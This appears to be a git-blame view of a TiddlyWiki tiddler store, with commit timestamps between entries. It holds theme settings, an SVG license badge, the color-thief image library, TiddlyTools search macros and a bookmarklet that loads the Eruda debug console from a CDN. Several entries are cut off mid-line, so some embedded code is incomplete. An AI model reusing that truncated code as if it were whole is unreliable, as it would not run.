value=\\\"scroll\\\">\u003C\u003Clingo Settings/BackgroundImageAttachment/Scroll>>\u003C/option>\\n\u003Coption value=\\\"fixed\\\">\u003C\u003Clingo Settings/BackgroundImageAttachment/Fixed>>\u003C/option>\\n\u003C/$select>\\n\\\\end\\n\\n\\\\define backgroundimagesize-dropdown()\\n\u003C$select tiddler=\\\"$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize\\\" default=\\\"scroll\\\">\\n\u003Coption value=\\\"auto\\\">\u003C\u003Clingo Settings/BackgroundImageSize/Auto>>\u003C/option>\\n\u003Coption value=\\\"cover\\\">\u003C\u003Clingo Settings/BackgroundImageSize/Cover>>\u003C/option>\\n\u003Coption value=\\\"contain\\\">\u003C\u003Clingo Settings/BackgroundImageSize/Contain>>\u003C/option>\\n\u003C/$select>\\n\\\\end\\n\\n\u003C\u003Clingo ThemeTweaks/Hint>>\\n\\n! \u003C\u003Clingo Options>>\\n\\n|\u003C$link to=\\\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\\\">\u003C\u003Clingo Options/SidebarLayout>>\u003C/$link> |\u003C$select tiddler=\\\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\\\">\u003Coption value=\\\"fixed-fluid\\\">\u003C\u003Clingo Options/SidebarLayout/Fixed-Fluid>>\u003C/option>\u003Coption value=\\\"fluid-fixed\\\">\u003C\u003Clingo Options/SidebarLayout/Fluid-Fixed>>\u003C/option>\u003C/$select> |\\n|\u003C$link to=\\\"$:/themes/tiddlywiki/vanilla/options/stickytitles\\\">\u003C\u003Clingo Options/StickyTitles>>\u003C/$link>\u003Cbr>//\u003C\u003Clingo Options/StickyTitles/Hint>>// |\u003C$select tiddler=\\\"$:/themes/tiddlywiki/vanilla/options/stickytitles\\\">\u003Coption value=\\\"no\\\">{{$:/language/No}}\u003C/option>\u003Coption value=\\\"yes\\\">{{$:/language/Yes}}\u003C/option>\u003C/$select> |\\n|\u003C$link to=\\\"$:/themes/tiddlywiki/vanilla/options/codewrapping\\\">\u003C\u003Clingo Options/CodeWrapping>>\u003C/$link> |\u003C$select tiddler=\\\"$:/themes/tiddlywiki/vanilla/options/codewrapping\\\">\u003Coption value=\\\"pre\\\">{{$:/language/No}}\u003C/option>\u003Coption value=\\\"pre-wrap\\\">{{$:/language/Yes}}\u003C/option>\u003C/$select> |\\n\\n! \u003C\u003Clingo Settings>>\\n\\n|\u003C$link to=\\\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\\\">\u003C\u003Clingo Settings/FontFamily>>\u003C/$link> |\u003C$edit-text tiddler=\\\"$:/themes/tiddlywiki/vanilla/settings/fontfamily\\\" default=\\\"\\\" tag=\\\"input\\\"/> | |\\n|\u003C$link to=\\\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\\\">\u003C\u003Clingo Settings/CodeFontFamily>>\u003C/$link> |\u003C$edit-text tiddler=\\\"$:/themes/tiddlywiki/vanilla/settings/codefontfamily\\\" default=\\\"\\\" tag=\\\"input\\\"/> | |\\n|\u
2022-09-21 22:17:49 +00:00
{"created":"20220920090629349","title":"$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize","text":"16px","modified":"20220921221431684"},
{"created":"20220920090623495","title":"$:/themes/tiddlywiki/vanilla/metrics/fontsize","text":"18px","modified":"20220921221519872"},
2023-01-10 23:03:54 +00:00
{"created":"20220920114844259","title":"$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth","text":"280px","modified":"20230110225919092"},
2023-01-10 17:13:28 +00:00
{"created":"20230110161016258","title":"$:/themes/tiddlywiki/vanilla/metrics/storyleft","text":"0px","modified":"20230110161025620"},
{"created":"20220920114822297","title":"$:/themes/tiddlywiki/vanilla/metrics/storyright","text":"770px","modified":"20230110161010570"},
{"created":"20220920114808247","title":"$:/themes/tiddlywiki/vanilla/metrics/storytop","text":"0px","modified":"20230110161035324"},
{"created":"20220920114830817","title":"$:/themes/tiddlywiki/vanilla/metrics/storywidth","text":"770px","modified":"20230110160956588"},
{"created":"20230110160936438","title":"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth","text":"686px","modified":"20230110160941054"},
{"created":"20220920090538136","title":"$:/themes/tiddlywiki/vanilla/options/sidebarlayout","text":"fluid-fixed","modified":"20220920090546155"},
2022-09-20 14:28:28 +00:00
{"created":"20220920090549116","title":"$:/themes/tiddlywiki/vanilla/options/stickytitles","text":"yes","modified":"20220920090549116"},
{"created":"20220920114744894","title":"$:/themes/tiddlywiki/vanilla/settings/backgroundimage","text":"","modified":"20220920114752461"},
2023-01-08 19:12:06 +00:00
{"created":"20230108190537471","title":"$:/themes/tiddlywiki/vanilla/settings/editorfontfamily","text":"\"SFMono-Regular\",Consolas,\"Liberation Mono\",Menlo,Courier,monospace","modified":"20230108190537471"},
2023-01-12 12:07:32 +00:00
{"created":"20230112093455880","text":"\u003C?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n\u003C!-- Created with Inkscape (http://www.inkscape.org/) -->\n\u003Csvg\n xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n xmlns:cc=\"http://web.resource.org/cc/\"\n xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n xmlns:svg=\"http://www.w3.org/2000/svg\"\n xmlns=\"http://www.w3.org/2000/svg\"\n xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\"\n xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\"\n width=\"120\"\n height=\"42\"\n id=\"svg2759\"\n sodipodi:version=\"0.32\"\n inkscape:version=\"0.45+devel\"\n version=\"1.0\"\n sodipodi:docname=\"by-sa.svg\"\n inkscape:output_extension=\"org.inkscape.output.svg.inkscape\">\n \u003Cdefs\n id=\"defs2761\" />\n \u003Csodipodi:namedview\n id=\"base\"\n pagecolor=\"#ffffff\"\n bordercolor=\"#8b8b8b\"\n borderopacity=\"1\"\n gridtolerance=\"10000\"\n guidetolerance=\"10\"\n objecttolerance=\"10\"\n inkscape:pageopacity=\"0.0\"\n inkscape:pageshadow=\"2\"\n inkscape:zoom=\"1\"\n inkscape:cx=\"179\"\n inkscape:cy=\"89.569904\"\n inkscape:document-units=\"px\"\n inkscape:current-layer=\"layer1\"\n width=\"120px\"\n height=\"42px\"\n inkscape:showpageshadow=\"false\"\n inkscape:window-width=\"1198\"\n inkscape:window-height=\"624\"\n inkscape:window-x=\"488\"\n inkscape:window-y=\"401\" />\n \u003Cmetadata\n id=\"metadata2764\">\n \u003Crdf:RDF>\n \u003Ccc:Work\n rdf:about=\"\">\n \u003Cdc:format>image/svg+xml\u003C/dc:format>\n \u003Cdc:type\n rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" />\n \u003C/cc:Work>\n \u003C/rdf:RDF>\n \u003C/metadata>\n \u003Cg\n inkscape:label=\"Layer 1\"\n inkscape:groupmode=\"layer\"\n id=\"layer1\">\n \u003Cg\n transform=\"matrix(0.9937807,0,0,0.9936694,-177.69409,-74.436409)\"\n id=\"g287\"\n inkscape:export-filename=\"/mnt/hgfs/Bov/Documents/Work/2007/cc/identity/srr buttons/big/by-sa.png\"\n inkscape:export-xdpi=\"300.23013\"\n inkscape:export-ydpi=\"300.23013\">\n\t\u003Cpath\n id=\"path3817_2_\"\n nodetypes=\"ccccccc\"\n d=\"M 182.23532,75.39014 L 296.29928,75.59326 C 297.89303,75.59326 299.31686,75.35644 299.31686,78.77344 L 299.17721,116.34033 L 179.3569,116.34033 L 179.3569,78.63379 C 179.3569,76.94922 179.51999,75.39014 182.23532,75.39014 z\"\n style=\"fill:#aab2ab\" />\n\n\t\u003Cg\n id=\"g5908_2_\"\n transform=\"matrix(0.872921,0,0,0.872921,50.12536,143.2144)\">\n\t\t\n\t\t\t\u003Cpath\n id=\"path5906_2_\"\n cx=\"296.35416\"\n ry=\"22.939548\"\n cy=\"264.3577\"\n type=\"arc\"\n rx=\"22.939548\"\n d=\"M 187.20944,-55.6792 C 187.21502,-46.99896 180.18158,-39.95825 171.50134,-39.95212 C 162.82113,-39.94708 155.77929,-46.97998 155.77426,-55.66016 C 155.77426,-55.66687 155.77426,-55.67249 155.77426,-55.6792 C 155.76922,-64.36054 162.80209,-71.40125 171.48233,-71.40631 C 180.16367,-71.41193 187.20441,-64.37842 187.20944,-55.69824 C 187.20944,-55.69263 187.20944,-55.68591 187.20944,-55.6792 z\"\n style=\"fill:#ffffff\" />\n\n\t\t\u003Cg\n id=\"g5706_2_\"\n transform=\"translate(-289.6157,99.0653)\">\n\t\t\t\u003Cpath\n id=\"path5708_2_\"\n d=\"M 473.88455,-167.54724 C 477.36996,-164.06128 479.11294,-159.79333 479.11294,-154.74451 C 479.11294,-149.69513 477.40014,-145.47303 473.9746,-142.07715 C 470.33929,-138.50055 466.04281,-136.71283 461.08513,-136.71283 C 456.18736,-136.71283 451.96526,-138.48544 448.42003,-142.03238 C 444.87419,-145.57819 443.10158,-149.81537 443.10158,-154.74451 C 443.10158,-159.6731 444.87419,-163.94049 448.42003,-167.54724 C 451.87523,-171.03375 456.09728,-172.77618 461.08513,-172.77618 C 466.13342,-172.77618 470.39914,-171.03375 473.88455,-167.54724 z M 450.76657,-165.20239 C 447.81982,-162.22601 446.34701,-158.7395 446.34701,-154.74005 C 446.34701,-150.7417 447.80529,-147.28485 450.72125,-144.36938 C 453.63778,-1
2023-01-24 12:09:08 +00:00
{"created":"20230124104309854","creator":"Octt","text":"javascript:(\nfunction () {\n if (!document.getElementById('eruda-main')) {\n var elem = document.createElement('script');\n elem.id = 'eruda-main';\n elem.src = 'https://cdn.jsdelivr.net/npm/eruda';\n document.body.appendChild(elem);\n elem.onload = function () {\n eruda.init();\n };\n };\n})();","tags":"","title":"$:/ThirdParty/Eruda-Inject.bkjs","modified":"20230124111834928","modifier":"Octt","type":"application/javascript"},
2023-01-10 15:07:51 +00:00
{"title":"$:/ThirdParty/Icons/Windows/9x-Start.png","text":"iVBORw0KGgoAAAANSUhEUgAAAD0AAAAcBAMAAAAgvKpJAAAAG1BMVEVHcEzAwMAAAADf39+AgID/AAAAAP8A/wD//wBHfaDsAAAAAXRSTlMAQObYZgAAAKlJREFUKM/Vks0NwyAMhVnBVvA5flJ+rlU7QidAygIcOkBHyOQ1oDRNRbjnYQmhz9jmCXdv6dG7GzXUXYcDTQ7UEgpnC4QJapvWODOGML2VkFcW616f8eVU4d5OA7Bx5RSMnXsf0nylf85h/a3vl4A459lSf2t34GL1xzivG8fffRGJhaPKSV5xBNbS31CqTzj6k+c78c/8QXrYmf9cvNcr/q9nU71DU+4Dt0ZXoKPvmm4AAAAASUVORK5CYII=","type":"image/png"},
2022-11-08 17:24:50 +00:00
{"created":"20221108154338291","text":"/**\n * Source Code: \u003Chttps://github.com/lokesh/color-thief>\n * License (MIT): \u003Chttps://raw.githubusercontent.com/lokesh/color-thief/master/LICENSE>\n**/\n\nconst getPixels = require('get-pixels');\nconst quantize = require('quantize');\n\nfunction createPixelArray(imgData, pixelCount, quality) {\n const pixels = imgData;\n const pixelArray = [];\n\n for (let i = 0, offset, r, g, b, a; i \u003C pixelCount; i = i + quality) {\n offset = i * 4;\n r = pixels[offset + 0];\n g = pixels[offset + 1];\n b = pixels[offset + 2];\n a = pixels[offset + 3];\n\n // If pixel is mostly opaque and not white\n if (typeof a === 'undefined' || a >= 125) {\n if (!(r > 250 && g > 250 && b > 250)) {\n pixelArray.push([r, g, b]);\n }\n }\n }\n return pixelArray;\n}\n\nfunction validateOptions(options) {\n let { colorCount, quality } = options;\n\n if (typeof colorCount === 'undefined' || !Number.isInteger(colorCount)) {\n colorCount = 10;\n } else if (colorCount === 1 ) {\n throw new Error('colorCount should be between 2 and 20. To get one color, call getColor() instead of getPalette()');\n } else {\n colorCount = Math.max(colorCount, 2);\n colorCount = Math.min(colorCount, 20);\n }\n\n if (typeof quality === 'undefined' || !Number.isInteger(quality) || quality \u003C 1) {\n quality = 10;\n }\n\n return {\n colorCount,\n quality\n }\n}\n\nfunction loadImg(img) {\n return new Promise((resolve, reject) => {\n getPixels(img, function(err, data) {\n if(err) {\n reject(err)\n } else {\n resolve(data);\n }\n })\n });\n}\n\nfunction getColor(img, quality) {\n return new Promise((resolve, reject) => {\n getPalette(img, 5, quality)\n .then(palette => {\n resolve(palette[0]);\n })\n .catch(err => {\n reject(err);\n })\n });\n\n}\n\nfunction getPalette(img, colorCount = 10, quality = 10) {\n const options = validateOptions({\n colorCount,\n quality\n });\n\n return new Promise((resolve, reject) => {\n loadImg(img)\n .then(imgData => {\n const pixelCount = imgData.shape[0] * imgData.shape[1];\n const pixelArray = createPixelArray(imgData.data, pixelCount, options.quality);\n\n const cmap = quantize(pixelArray, options.colorCount);\n const palette = cmap? cmap.palette() : null;\n\n resolve(palette);\n })\n .catch(err => {\n reject(err);\n })\n });\n}\n\nmodule.exports = {\n getColor,\n getPalette\n};","tags":"","title":"$:/ThirdParty/Libs/color-thief.js","modified":"20221108154854376","type":"application/javascript"},
2023-01-09 23:37:27 +00:00
{"created":"20210719102404282","text":"\\define program() [prefix[$:/ThirdParty/TiddlyTools/FilterGenerators]] [[$:/ThirdParty/TiddlyTools/Macros/edit-list]] +[!sort[modified]]\n\n\\define import(tids)\nDrag this link to\n\u003C$button class=\"tc-btn-invisible tc-tiddlylink\" popup=\"$:/state/popup/$(currentTiddler)$/$tids$\" dragFilter=\u003C\u003C$tids$>>>\n ''import \u003C$count filter=\u003C\u003C$tids$>>/> $tids$ tiddlers.''\n\u003C/$button>\n\u003C$reveal type=\"popup\" state=\"$:/state/popup/$(currentTiddler)$/$tids$\" class=\"tc-drop-down\" style=\"padding:1em;\">\n \u003C$list filter=\u003C\u003C$tids$>>>\u003C$link/>\u003C/$list>\n\u003C/$reveal>\n\\end\n\n| author|''[ext[Eric Shulman|mailto:elsdesign@gmail.com]]''|\n| source|''http://TiddlyTools.com/filtergenerators.html''|\n| updated|''\u003C$view field=\"modified\" format=\"date\" template=\"DDD, MMM DDth YYYY at 0hh12:0mm:0ssam\"/>''|\n\n\u003C\u003Cimport program>>\n\n~TiddlyTools' ~FilterGenerators define several $:/AdvancedSearch addon tabs to provide a variety of specialized searches.\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Titles]]\n\u003C\u003C\u003C\n''Search for tiddler titles in selected types of tiddlers''\n\n* Finds tiddlers that contain the specified text anywhere in their title\n* Select one or more types of tiddlers to search in:\u003Cbr>&emsp;tiddlers, shadows, system, tags, missing, orphans, images, binaries\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Tags]]\n\u003C\u003C\u003C\n''Search for tiddlers using a combination of tags''\n\n* Shows checkboxes for all tags in the file, including shadow tags\n* Select any combination of tags to search for\n* Shows results matching all tags (AND) and one or more tags (OR)\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/TagCloud]]\n\u003C\u003C\u003C\n''Display tags using proportional size based on the number of tiddlers for each tag''\n\n* Select tags to include\n* Shows number of matching tiddlers on each tag \"pill\"\n* Sort results by tag title or number of matching tiddlers\n* options: min=minimum font size, step=font size increment, max=maximum font size, group=tag count cluster size\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/PowerSearch]]\n\u003C\u003C\u003C\n''Assemble a compound filter to search for matching tiddlers''\n\u003Cbr>Requires: [[TiddlyTools/Macros/edit-list]]\n\n* select types of tiddlers to search\n* include/exclude prefixes, suffixes or tags\n* find tiddlers that have a specific field (even if blank)\n* search in one or more specified fields\n* use flags to define the search criteria\n* sort results by any tiddler field\n* copy the assembled filter syntax to the clipboard\n* save assembled filters for later re-use\n* add/remove tags, clone/rename, export, or delete matching/selected tiddlers\n\u003C\u003C\u003C","title":"$:/ThirdParty/TiddlyTools/FilterGenerators/Info","modified":"20230109220740719","tags":"TiddlyTools"},
{"created":"20191212065707527","text":"\\define config() $:/config/TiddlyTools/PowerSearch\n\\define saved() $:/config/TiddlyTools/PowerSearch/SavedFilters/\n\\define show() $:/config/TiddlyTools/PowerSearch!!show\n\\define options() $:/state/popup/TiddlyTools/PowerSearch/options\n\\define menu() $:/state/popup/TiddlyTools/PowerSearch/menu/\n\n\\define default_width() 15em\n\\define default_columns() 1\n\\define default_height() auto\n\\define default_wrap() nowrap\n\n\\define styles()\n\u003Cstyle>\n.powersearch_table { border:0; padding:0; margin:0; float:left; margin-right:0.5em; }\n.powersearch_table tr { border:0; padding:0; margin:0; }\n.powersearch_table td { border:0; padding:2px; margin:0; }\n.powersearch_table .editlist_input { outline:none; }\n.powersearch_savedfilters { font-size:100%;line-height:1em;max-height:20em;overflow:auto; }\n.powersearch_optionwidth { width:4em !important; }\n.powersearch_checkboxwidth input { width:auto !important; }\n.powersearch_listitem { overflow:hidden;word-break:break-all;text-overflow:ellipsis; }\n.powersearch_modal .tc-modal-header { padding:0em 1em; }\n.powersearch_modal .tc-modal-body { padding:1em 1em 0.5em 1em; }\n.powersearch_modal .tc-modal-footer { padding:0.5em 1em; }\n.powersearch_modal .tc-modal-body p { margin:0; }\n\u003C/style>\n\\end\n\n\\define get(index,filter,placeholder,multiple)\n\\define filter() $filter$\n\u003C$macrocall $name=\"edit\" tiddler=\u003C\u003Cconfig>> index=\"$index$\" filter=\u003C\u003Cfilter>> width=\"$(width)$\"\n confirm=\u003C\u003Cconfirm>> multiple=\"$multiple$\" find=\"or\" placeholder=\"$placeholder$\"/>\n\\end\n\n\\define edit(tiddler,index,width,confirm,multiple,filter,find,placeholder)\n\\define filter() $filter$\n\\define stip() enter/select a value\n\\define mtip() enter/select all that apply (use ctrl-click or shift-click)\n\u003C$list filter=\"[[edit-list]is[variable]]\" variable=\"if_edit_list_installed\">\n \u003C$macrocall $name=\"edit-list\" tiddler=\"$tiddler$\" index=\"$index$\" tooltip={{{ [[$multiple$]match[]then\u003Cstip>else\u003Cmtip>] }}}\n width=\"$width$\" listwidth=\"fit\" fontsize=\"100%\" focusPopup={{{ [\u003Cfilter>!match[]then[yes]] }}}\n confirm=\"$confirm$\" multiple=\"$multiple$\" filter=\u003C\u003Cfilter>> find=\"$find$\" placeholder=\"$placeholder$\"/>\n\u003C/$list>\n\u003C$list filter=\"[[edit-list]!is[variable]]\" variable=\"fallback_no_edit_list\">\n \u003Cstyle> .powersearch_inputwidth { width:$width$; } \u003C/style>\n \u003Cspan title={{{ [[$multiple$]match[]then\u003Cstip>else\u003Cmtip>search-replace[/select],[]search-replace[use ctrl-click or shift-click],[space separated]] }}}>\n \u003C$edit-text class=\"powersearch_inputwidth\" tag=\"input\"\n tiddler=\"$tiddler$\" field=\"text\" index=\"$index$\" default=\"\" placeholder=\"$placeholder$\"/>\n \u003C/span>\n\u003C/$list>\n\\end\n\n\\define shadowList(prefix: \"$:/\",maxdepth:\"4\")\n\\whitespace trim\n\u003C$list filter=\"[all[shadows]removeprefix[$prefix$]splitbefore[/]sort[]suffix[/]]\" variable=\"chunk\">\n \u003C$vars path={{{ [title[$prefix$]addsuffix\u003Cchunk>removesuffix[/]] }}}>\n \u003C$text text=\u003C\u003Cpath>>/>&#10;\n \u003C$list filter=\"[\u003Cpath>split[/]count[]min[$maxdepth$]!match[$maxdepth$]]\">\n \u003C$macrocall $name=\"shadowList\" prefix={{{ [title[$prefix$]addsuffix\u003Cchunk>] }}}/>\n \u003C/$list>\n \u003C/$vars>\n\u003C/$list>\n\\end\n\n\\define inputs()\n\u003C$set name=\"tidList\" filter=\"tiddlers shadows tiddlers+shadows tags orphans missing\">\n\u003C$set name=\"tagsList\" filter=\"[tags[]sort[]] [all[shadows]tags[]sort[]]\">\n\u003C$set name=\"sysFields\" filter=\"title text tags created creator modified modifier\">\n\u003C$set name=\"tidFields\" filter=\"[all[tiddlers]] -[prefix[$:/state/popup]] +[fields[]!enlist\u003CsysFields>sort[]]\">\n\u003C$set name=\"shadowFields\" filter=\"[all[shadows]fields[]!enlist\u003CsysFields>!enlist\u00
{"created":"20191128174135234","text":"\\define config() $:/config/TiddlyTools/TagCloud\n\\define options() $:/state/popup/tagcloud\n\\define default_min() 0.75\n\\define default_step() 0.25\n\\define default_max() 4.00\n\\define default_group() 5\n\n\\define tag-pill-inner(tag,icon,colour,fallbackTarget,colourA,colourB,element-tag,element-attributes,actions)\n\u003C!-- copied from $:/core/macros/tag - added font-size, margin-bottom and count display in pill -->\n\u003C$vars foregroundColor=\u003C\u003Ccontrastcolour target:\"\"\"$colour$\"\"\" fallbackTarget:\"\"\"$fallbackTarget$\"\"\" colourA:\"\"\"$colourA$\"\"\" colourB:\"\"\"$colourB$\"\"\">> backgroundColor=\"\"\"$colour$\"\"\">\n\u003Cdiv style=\"display:inline-block;font-size:$(size)$em;line-height:1em;margin-bottom:2px;\">\n\u003C$element-tag$ $element-attributes$ class=\"tc-tag-label tc-btn-invisible\" style=\u003C\u003Ctag-pill-styles>>>\n$actions$\u003C$transclude tiddler=\"\"\"$icon$\"\"\"/> \u003C$view tiddler=\u003C\u003C__tag__>> field=\"title\" format=\"text\" /> (\u003C\u003Ccount>>)\n\u003C/$element-tag$>\n\u003C/div>\n\u003C/$vars>\n\\end\n\n\\define tagcloud_select()\n\u003C$set name=\"taglist\" filter=\"[all[tiddlers+shadows]tags[]sort[]]\">\n\u003Cdiv style=\"display:inline-block;float:left;margin-right:1em;margin-bottom:1em;\">\nSelect tags:\n\u003C$button class=\"tc-btn-invisible\">\n \u003Cspan style={{{ [\u003Cconfig>get[taglist]else[font-weight:bold;]] }}}>none\u003C/span>\n \u003C$action-setfield $tiddler=\u003C\u003Cconfig>> taglist=\"\" />\n\u003C/$button> |\n\u003C$button class=\"tc-btn-invisible\">\n \u003Cspan style={{{ [\u003Cconfig>get[taglist]match\u003Ctaglist>then[font-weight:bold;]] }}}>all\u003C/span>\n \u003C$action-setfield $tiddler=\u003C\u003Cconfig>> taglist=\u003C\u003Ctaglist>> />\n\u003C/$button>\n\u003C\u003Ctagcloud_options>>\n\u003Cdiv style=\"clear:both;\">\n\u003C$select tiddler=\u003C\u003Cconfig>> field=\"taglist\" size=5 multiple>\n \u003C$list filter=\"[all[tiddlers+shadows]tags[]sort[]]\">\u003Coption>\u003C\u003CcurrentTiddler>>\u003C/option>\u003C/$list>\n\u003C/$select>\n\\end\n\n\\define tagcloud_options()\n\u003C$let popid={{{ [\u003Coptions>addsuffix\u003Cqualify>] }}}>\n\u003C$button class=\"tc-btn-invisible\" style=\"float:right;\" popup=\u003C\u003Cpopid>> tooltip=\"Set display options\">\n {{$:/core/images/options-button}}\n\u003C/$button>\n\u003C$reveal type=\"popup\" state=\u003C\u003Cpopid>> position=\"belowleft\"\n class=\"tc-drop-down tt-drop-down tc-popup-keep\" style=\"min-width:auto;padding:0.5em;\">\n \u003Cspan style=\"float:right;margin-left:1em;\">\n \u003C$button class=\"tc-btn-invisible\" style=\"display:inline;padding:0;width:auto;\" tooltip=\"reset to defaults\">{{$:/core/images/refresh-button}}\n \u003C$action-deletefield $tiddler=\u003C\u003Cconfig>> min step max group/>\n \u003C/$button>\n \u003C$button class=\"tc-btn-invisible\" style=\"display:inline;padding:0;width:auto;\" tooltip=\"close\">{{$:/core/images/close-button}}\n \u003C$action-deletetiddler $tiddler=\u003C\u003Cpopid>>/>\n \u003C/$button>\n \u003C/span>\n ~TagCloud options\n \u003Cdiv class=\"tt-shadowbox inset\" style=\"clear:both;text-align:right;\">\n min size: \u003C$edit-text tiddler=\u003C\u003Cconfig>> field=\"min\" class=\"option\" default=\u003C\u003Cdefault_min>> placeholder=\u003C\u003Cdefault_min>> />\u003Cbr>\n step size: \u003C$edit-text tiddler=\u003C\u003Cconfig>> field=\"step\" class=\"option\" default=\u003C\u003Cdefault_step>> placeholder=\u003C\u003Cdefault_step>> />\u003Cbr>\n max size: \u003C$edit-text tiddler=\u003C\u003Cconfig>> field=\"max\" class=\"option\" default=\u003C\u003Cdefault_max>> placeholder=\u003C\u003Cdefault_max>> />\u003Cbr>\n group size: \u003C$edit-text tiddler=\u003C\u003Cconfig>> field=\"group\" class=\"option\" default=\u003C\u003Cdefault_group>> placeholder=\u003C\u003Cdefault_group>> />\u003Cbr>\n \u003C/div>\n\u003C/$reveal>\n\\end\n\n\\define tagcloud_summary()\n\u0
{"created":"20191118104819715","text":"\\define config() $:/config/TiddlyTools/FindTags\n\n\u003Cstyle>\n.tt-findTags input { width:auto !important; }\n.tt-findTags .columns4 { display:block; column-count:4; column-gap:1em; }\n.tt-findTags .small { font-size:80%; line-height:1.3em; }\n.tt-findTags .nowrap { white-space:nowrap; }\n\u003C/style>\n\n\u003Cspan class=\"tt-findTags\">\nfind tiddlers tagged with:\n\u003Cp class=\"columns4 small nowrap\">\n\u003C$list filter=\"[all[tiddlers+shadows]tags[]sort[]]\">\n \u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\u003C\u003CcurrentTiddler>> checked=\" \"\n checkactions=\"\"\"\u003C$action-setfield $tiddler=\u003C\u003Cconfig>> $index=\u003C\u003CcurrentTiddler>> $value=\" \" />\"\"\"\n uncheckactions=\"\"\"\u003C$action-setfield $tiddler=\u003C\u003Cconfig>> $index=\u003C\u003CcurrentTiddler>> />\"\"\">\n \u003C$text text=\u003C\u003CcurrentTiddler>>/>\n \u003C/$checkbox>\u003Cbr>\n\u003C/$list>\n\u003C/p>\n\n\u003C$wikify name=\"filter\" text=\"\"\"[all[tiddlers+shadows]\u003C$list filter=\"[title\u003Cconfig>indexes[]]\">tag[\u003C\u003CcurrentTiddler>>]\u003C/$list>] +[sort[]]\"\"\">\n\u003C$list filter=\"[\u003Cconfig>indexes[]count[]] -[[0]]\">\n \u003C$set name=\"filter_text\" filter=\"[\u003Cconfig>indexes[]join[ AND ]]\">\n \u003C$wikify name=\"filter_text\" text=\u003C\u003Cfilter_text>>>\n There are \u003C$count filter=\u003C\u003Cfilter>>/> tiddlers tagged with \u003C\u003Cfilter_text>>\n \u003C/$wikify>\n \u003C/$set>\n \u003Cblockquote class=\"columns4 small\"> \u003C$list filter=\u003C\u003Cfilter>>>\u003C$link/>\u003Cbr>\u003C/$list> \u003C/blockquote>\n\u003C/$list>\n\u003C/$wikify>\n\n\u003C$wikify name=\"filter\" text=\"\"\"\u003C$list filter=\"[title\u003Cconfig>indexes[]]\">[all[tiddlers+shadows]tag[\u003C\u003CcurrentTiddler>>]] \u003C/$list> +[sort[]]\"\"\">\n\u003C$list filter=\"[\u003Cconfig>indexes[]count[]] -[[0]] -[[1]]\">\n \u003C$set name=\"filter_text\" filter=\"[\u003Cconfig>indexes[]join[ OR ]]\">\n \u003C$wikify name=\"filter_text\" text=\u003C\u003Cfilter_text>>>\n There are \u003C$count filter=\u003C\u003Cfilter>>/> tiddlers tagged with \u003C\u003Cfilter_text>>\n \u003C/$wikify>\n \u003C/$set>\n \u003Cblockquote class=\"columns4 small\"> \u003C$list filter=\u003C\u003Cfilter>>>\u003C$link/>\u003Cbr>\u003C/$list> \u003C/blockquote>\n\u003C/$list>\n\u003C/$wikify>","title":"$:/ThirdParty/TiddlyTools/FilterGenerators/Tags","caption":"Tags","modified":"20230109220613590","tags":"TiddlyTools $:/tags/AdvancedSearch"},
{"created":"20191126184117322","text":"\\define config() $:/config/TiddlyTools/FindTitles\n\n\u003Cstyle>\n.tt-findTitles input[type=text] { min-width:30vw; }\n.tt-findTitles input[type=checkbox] { width:auto !important; }\n.tt-findTitles .columns3 { display:block; column-count:3; column-gap:1em; }\n.tt-findTitles .small { font-size:80%; line-height:1.3em; }\n.tt-findTitles .nowrap { white-space:nowrap; }\n\u003C/style>\n\n\u003Cspan class=\"tt-findTitles\">\nfind titles containing:\n\u003C$edit-text tiddler=\u003C\u003Cconfig>> index=\"text\" tag=\"input\" focus=\"yes\"/>\u003Cbr>\nin\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"tiddler\" checked=\"is[tiddler]\" unchecked=\"\"> tiddlers \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"shadow\" checked=\"is[shadow]\" unchecked=\"\"> shadows \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"system\" checked=\"is[system]\" unchecked=\"\"> system \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"tag\" checked=\"is[tag]\" unchecked=\"\"> tags \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"missing\" checked=\"is[missing]\" unchecked=\"\"> missing \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"orphan\" checked=\"is[orphan]\" unchecked=\"\"> orphans \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"image\" checked=\"is[image]\" unchecked=\"\"> images \u003C/$checkbox>\n\u003C$checkbox tiddler=\u003C\u003Cconfig>> index=\"binary\" checked=\"is[binary]\" unchecked=\"\"> binaries \u003C/$checkbox>\n\n\u003C$tiddler tiddler=\u003C\u003Cconfig>>>\n\u003C$wikify name=\"is\" text=\"{{##tiddler}}{{##shadow}}{{##system}}{{##tag}}{{##missing}}{{##orphan}}{{##image}}{{##binary}}\">\n\u003C$wikify name=\"filter\" text=\"[\u003C\u003Cis>>search:title[{{##text}}]sort[]]\">\n\u003C$reveal default=\u003C\u003Cis>> type=\"nomatch\" text=\"\">\n \u003Cp/>\n __There are \u003C$count filter=\u003C\u003Cfilter>>/> tiddlers matching ''\u003C$text text=\u003C\u003Cfilter>>/>''__\n \u003Cblockquote class=\"columns3 small nowrap\">\n \u003C$list filter=\u003C\u003Cfilter>>>\u003C$link/>\u003Cbr>\u003C/$list>\n 